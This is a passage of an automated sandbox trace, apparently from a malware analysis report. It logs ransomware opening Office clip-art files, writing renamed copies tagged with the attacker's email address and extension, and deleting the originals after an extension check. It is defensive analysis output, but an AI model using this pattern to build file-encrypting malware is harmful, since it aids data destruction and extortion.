(hObject=0x4f0) returned 1 [0165.063] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.063] SetEndOfFile (hFile=0x544) returned 1 [0165.066] CloseHandle (hObject=0x544) returned 1 [0165.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0165.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0165.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0165.067] lstrlenW (lpString=".doc") returned 4 [0165.067] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.067] lstrlenW (lpString=".docx") returned 5 [0165.068] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0165.068] lstrlenW (lpString=".pdf") returned 4 [0165.068] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.068] lstrlenW (lpString=".xls") returned 4 [0165.068] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.068] lstrlenW (lpString=".xlsx") returned 5 [0165.068] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0165.068] lstrlenW (lpString=".ppt") returned 4 [0165.068] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0165.068] lstrlenW (lpString=".zip") returned 4 [0165.068] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.068] lstrlenW (lpString=".rar") returned 4 [0165.068] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.068] lstrlenW (lpString=".bz2") returned 4 [0165.068] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.068] lstrlenW (lpString=".7z") returned 3 [0165.068] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0165.068] lstrlenW (lpString=".dbf") returned 4 [0165.068] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0165.068] lstrlenW (lpString=".1cd") returned 4 [0165.068] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0165.068] lstrlenW (lpString=".jpg") returned 4 [0165.068] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0165.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0165.068] lstrlenW (lpString=".doc") returned 4 [0165.068] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.068] lstrlenW (lpString=".docx") returned 5 [0165.068] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0165.068] lstrlenW (lpString=".pdf") returned 4 [0165.068] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.068] lstrlenW (lpString=".xls") returned 4 [0165.069] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.069] lstrlenW (lpString=".xlsx") returned 5 [0165.069] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0165.069] lstrlenW (lpString=".ppt") returned 4 [0165.069] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0165.069] lstrlenW (lpString=".zip") returned 4 [0165.069] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.069] lstrlenW (lpString=".rar") returned 4 [0165.069] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.069] lstrlenW (lpString=".bz2") returned 4 [0165.069] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.069] lstrlenW (lpString=".7z") returned 3 [0165.069] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0165.069] lstrlenW (lpString=".dbf") returned 4 [0165.069] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0165.069] lstrlenW (lpString=".1cd") returned 4 [0165.069] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0165.069] lstrlenW (lpString=".jpg") returned 4 [0165.069] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.069] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0165.069] lstrlenW (lpString="J0099149.WMF") returned 12 [0165.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0165.070] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=73214) returned 1 [0165.070] CloseHandle (hObject=0x544) returned 1 [0165.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220 [0165.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0165.070] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.070] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0165.071] GetLastError () returned 0x0 [0165.071] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x11dfe, lpOverlapped=0x0) returned 1 [0165.546] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11e00, lpOverlapped=0x0) returned 1 [0165.549] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.549] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.549] SetEndOfFile (hFile=0x4f0) returned 1 [0165.549] CloseHandle (hObject=0x4f0) returned 1 [0165.549] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.549] SetEndOfFile (hFile=0x544) returned 1 [0165.553] CloseHandle (hObject=0x544) returned 1 [0165.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0165.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0165.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0165.555] lstrlenW (lpString=".doc") returned 4 [0165.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.555] lstrlenW (lpString=".docx") returned 5 [0165.555] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0165.555] lstrlenW (lpString=".pdf") returned 4 [0165.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.555] lstrlenW (lpString=".xls") returned 4 [0165.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.555] lstrlenW (lpString=".xlsx") returned 5 [0165.555] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0165.555] lstrlenW (lpString=".ppt") returned 4 [0165.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0165.555] lstrlenW (lpString=".zip") returned 4 [0165.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.555] lstrlenW (lpString=".rar") returned 4 [0165.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.555] lstrlenW (lpString=".bz2") returned 4 [0165.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.555] lstrlenW (lpString=".7z") returned 3 [0165.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0165.555] lstrlenW (lpString=".dbf") returned 4 [0165.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0165.555] lstrlenW (lpString=".1cd") returned 4 [0165.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0165.555] lstrlenW (lpString=".jpg") returned 4 [0165.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0165.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0165.556] lstrlenW (lpString=".doc") returned 4 [0165.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.556] lstrlenW (lpString=".docx") returned 5 [0165.556] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0165.556] lstrlenW (lpString=".pdf") returned 4 [0165.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.556] lstrlenW (lpString=".xls") returned 4 [0165.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.556] lstrlenW (lpString=".xlsx") returned 5 [0165.556] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0165.556] lstrlenW (lpString=".ppt") returned 4 [0165.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0165.556] lstrlenW (lpString=".zip") returned 4 [0165.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.556] lstrlenW (lpString=".rar") returned 4 [0165.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.556] lstrlenW (lpString=".bz2") returned 4 [0165.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.556] lstrlenW (lpString=".7z") returned 3 [0165.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0165.556] lstrlenW (lpString=".dbf") returned 4 [0165.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0165.556] lstrlenW (lpString=".1cd") returned 4 [0165.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0165.556] lstrlenW (lpString=".jpg") returned 4 [0165.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.557] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.557] lstrlenW (lpString="J0099161.JPG") returned 12 [0165.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0165.558] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=7154) returned 1 [0165.558] CloseHandle (hObject=0x544) returned 1 [0165.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220 [0165.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0165.558] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.558] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0165.559] GetLastError () returned 0x0 [0165.559] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1bf2, lpOverlapped=0x0) returned 1 [0165.561] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1c00, lpOverlapped=0x0) returned 1 [0165.562] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.562] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.562] SetEndOfFile (hFile=0x4f0) returned 1 [0165.562] CloseHandle (hObject=0x4f0) returned 1 [0165.562] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.562] SetEndOfFile (hFile=0x544) returned 1 [0165.565] CloseHandle (hObject=0x544) returned 1 [0165.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0165.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0165.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0165.567] lstrlenW (lpString=".doc") returned 4 [0165.567] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.567] lstrlenW (lpString=".docx") returned 5 [0165.567] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0165.567] lstrlenW (lpString=".pdf") returned 4 [0165.567] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.567] lstrlenW (lpString=".xls") returned 4 [0165.567] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.567] lstrlenW (lpString=".xlsx") returned 5 [0165.567] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0165.567] lstrlenW (lpString=".ppt") returned 4 [0165.567] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0165.567] lstrlenW (lpString=".zip") returned 4 [0165.567] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.567] lstrlenW (lpString=".rar") returned 4 [0165.567] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.567] lstrlenW (lpString=".bz2") returned 4 [0165.567] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.567] lstrlenW (lpString=".7z") returned 3 [0165.567] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0165.567] lstrlenW (lpString=".dbf") returned 4 [0165.567] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0165.567] lstrlenW (lpString=".1cd") returned 4 [0165.567] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0165.567] lstrlenW (lpString=".jpg") returned 4 [0165.567] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0165.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0165.567] lstrlenW (lpString=".doc") returned 4 [0165.567] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.567] lstrlenW (lpString=".docx") returned 5 [0165.568] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0165.568] lstrlenW (lpString=".pdf") returned 4 [0165.568] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.568] lstrlenW (lpString=".xls") returned 4 [0165.568] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.568] lstrlenW (lpString=".xlsx") returned 5 [0165.568] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0165.568] lstrlenW (lpString=".ppt") returned 4 [0165.568] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0165.568] lstrlenW (lpString=".zip") returned 4 [0165.568] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.568] lstrlenW (lpString=".rar") returned 4 [0165.568] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.568] lstrlenW (lpString=".bz2") returned 4 [0165.568] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.568] lstrlenW (lpString=".7z") returned 3 [0165.568] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0165.568] lstrlenW (lpString=".dbf") returned 4 [0165.568] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0165.568] lstrlenW (lpString=".1cd") returned 4 [0165.568] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0165.568] lstrlenW (lpString=".jpg") returned 4 [0165.568] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.568] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.568] lstrlenW (lpString="J0099162.JPG") returned 12 [0165.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0165.569] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=19656) returned 1 [0165.569] CloseHandle (hObject=0x544) returned 1 [0165.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220 [0165.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0165.570] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.570] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0165.571] GetLastError () returned 0x0 [0165.571] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x4cc8, lpOverlapped=0x0) returned 1 [0165.573] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0165.574] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.574] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.574] SetEndOfFile (hFile=0x4f0) returned 1 [0165.575] CloseHandle (hObject=0x4f0) returned 1 [0165.575] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.575] SetEndOfFile (hFile=0x544) returned 1 [0165.577] CloseHandle (hObject=0x544) returned 1 [0165.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 